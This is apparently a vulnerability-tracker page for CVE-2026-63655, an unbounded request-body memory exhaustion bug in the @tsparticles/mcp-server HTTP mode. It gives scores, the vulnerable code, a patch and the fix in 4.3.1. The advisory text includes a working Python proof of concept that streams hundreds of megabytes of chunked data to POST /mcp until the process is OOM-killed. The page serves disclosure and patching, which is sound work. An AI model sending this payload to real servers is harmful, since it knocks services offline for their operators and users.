CVE-2026-63655
High 7.5 P4 Β· Monitor (22/100)tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
Confirmed facts from the sources
- CVSS
- 7.5 (High) Β· CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Scored by github - Exploitation confirmed
- Not in the CISA KEV catalog
- Exploitation estimated (EPSS)
- 0.76 % Β· percentile 51.6 % (as of 29.11.2026)
Probability of exploitation in the next 30 days β an estimate by FIRST, not confirmation. - Public exploit
- No reference to a public exploit.
- Fix
- Fix available
- Monitored technologies
- MCP servers and clients
Description (source)
### Summary The HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments. ### Details The vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399β407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard: ```ts // integrations/mcp-server/src/index.ts:399-407 if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); const parsedBody = body ? JSON.parse(body) : undefined; ``` The complete data flow leading to exploitation: 1. `index.ts:390` β HTTP server is created. 2. `index.ts:399` β `POST /mcp` branch is entered; no authentication is performed. 3. `index.ts:401-403` β Every chunk is appended to `chunks[]` without any byte-count check. 4. `index.ts:407` β The concatenated buffer is passed to `JSON.parse`. 5. `index.ts:416` β The server listens on `0.0.0.0`, exposing it on all network interfaces. There is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD ["node", "dist/index.js", "--port", "3000"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in. A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded: ```diff --- a/integrations/mcp-server/src/index.ts +++ b/integrations/mcp-server/src/index.ts @@ import { createServer } from "node:http"; import { randomUUID } from "node:crypto"; const PACKAGE_VERSION = "0.1.0"; +const maxRequestBodyBytes = 1024 * 1024; @@ if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; - req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); + let received = 0; + req.on("data", (chunk) => { + received += chunk.length; + if (received > maxRequestBodyBytes) { + req.destroy(new Error("Request body too large")); + return; + } + chunks.push(Buffer.from(chunk)); + }); req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); ``` ### PoC **Environment setup:** ```bash # Build the Docker image from the repository root docker build \ -f /path/to/vuln-001/Dockerfile \ -t vuln001-mcp \ /path/to/tsparticles-repo # Run with a 256 MB memory cap (matching the dynamic reproduction) docker run -d \ -p 127.0.0.1:3000:3000 \ --memory=256m --memory-swap=256m \ --name vuln001-mcp \ vuln001-mcp ``` **Exploit (Python PoC β `poc.py`):** The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array. ```bash python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp ``` Equivalent minimal request: ```python import socket s = socket.create_connection(("127.0.0.1", 3000)) headers = ( "POST /mcp HTTP/1.1\r\n" "Host: 127.0.0.1:3000\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" "Connection: close\r\n\r\n" ).encode() s.sendall(headers) prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"' s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n") chunk = b"A" * (1024 * 1024) # 1 MB per write for _ in range(300): # stream 300 MB total s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n") ``` **Expected result:** - Baseline memory usage: ~24.9 MiB / 256 MiB. - After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker's OOM-killer terminates the process. - `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`. **Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB. ### Impact An unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required. In the default Docker deployment (`CMD ["node", "dist/index.js", "--port", "3000"]`), the server binds to `0.0.0.0:3000`, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default. The vulnerability is a Denial of Service (DoS) β confidentiality and integrity are not directly affected. Recovery requires restarting the container. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server # Build context must be the repository root so COPY paths resolve correctly. # Build: docker build -f vuln-001/Dockerfile -t vuln001-mcp . # Run: docker run -d -p 127.0.0.1:3000:3000 \ # --memory=256m --memory-swap=256m \ # --name vuln001-mcp vuln001-mcp # --- Stage 1: compile TypeScript --- FROM node:22-alpine AS build WORKDIR /build # Copy only the mcp-server package (avoids pulling the entire monorepo) COPY integrations/mcp-server/package.json ./package.json COPY integrations/mcp-server/tsconfig.json ./tsconfig.json COPY integrations/mcp-server/src/ ./src/ # Install all deps (devDeps needed for TypeScript compiler) RUN npm install --no-audit --no-fund # Compile TypeScript -> dist/ RUN npx tsc # --- Stage 2: minimal runtime image --- FROM node:22-alpine WORKDIR /app # Copy compiled JS and production node_modules COPY --from=build /build/dist ./dist COPY --from=build /build/node_modules ./node_modules EXPOSE 3000 # Start HTTP mode on port 3000 β identical to the official Dockerfile CMD. # No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time. CMD ["node", "dist/index.js", "--port", "3000"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Repository : tsparticles/tsparticles Version : 4.3.0 (commit eb2d299) CWE : CWE-400 β Uncontrolled Resource Consumption CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) File : integrations/mcp-server/src/index.ts:399-407 Vulnerability: The POST /mcp handler resolves a Promise that accumulates every data chunk into a Buffer[] array without any Content-Length or size guard, then calls Buffer.concat() and JSON.parse() on the full body. An unauthenticated remote attacker can exhaust the server's memory by streaming an arbitrarily large body. Source (index.ts:399-407): if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no guard req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8
Affected products and versions
| Vendor / product | Affected versions | Fixed in | Source |
|---|---|---|---|
| npm: @tsparticles/mcp-server | < 4.3.1 | 4.3.1 | github |
Versions as published. βFixed inβ only where a source names the version explicitly.
Recommended mitigation
Fixed versions: @tsparticles/mcp-server 4.3.1
In general: check your versions, update to a fixed version, limit exposure until then and follow the vendor guidance.
AI interpretation
No AI interpretation yet β it is created for urgent advisories of monitored technologies. The facts above apply regardless.
Why this priority?: P4 Β· Monitor (22/100)
- Estimated exploitation probability 0.76 % (EPSS, percentile 51.6 %) β an estimate, not confirmation (+0)
- Technical severity: CVSS 7.5 (HIGH) β on its own not a reason for top priority (+12)
- Concerns 1 monitored technolog(y/ies) (CPE, package or vendor) (+10)
- Fix available β plan the update (+0)
Priority is a general assessment from CVSS, KEV, EPSS, exploits, relevance and fix availability. Whether a specific environment is affected depends on its versions, configuration and exposure.
Original advisories and links
- Advisory https://github.com/advisories/GHSA-447x-qqwf-m7xq Β· github
- Reference https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq Β· github
- Reference https://nvd.nist.gov/vuln/detail/CVE-2026-63655 Β· github
- Reference https://github.com/tsparticles/tsparticles/pull/5875 Β· github
- Reference https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b Β· github
- Reference https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea Β· github
- Reference https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1 Β· github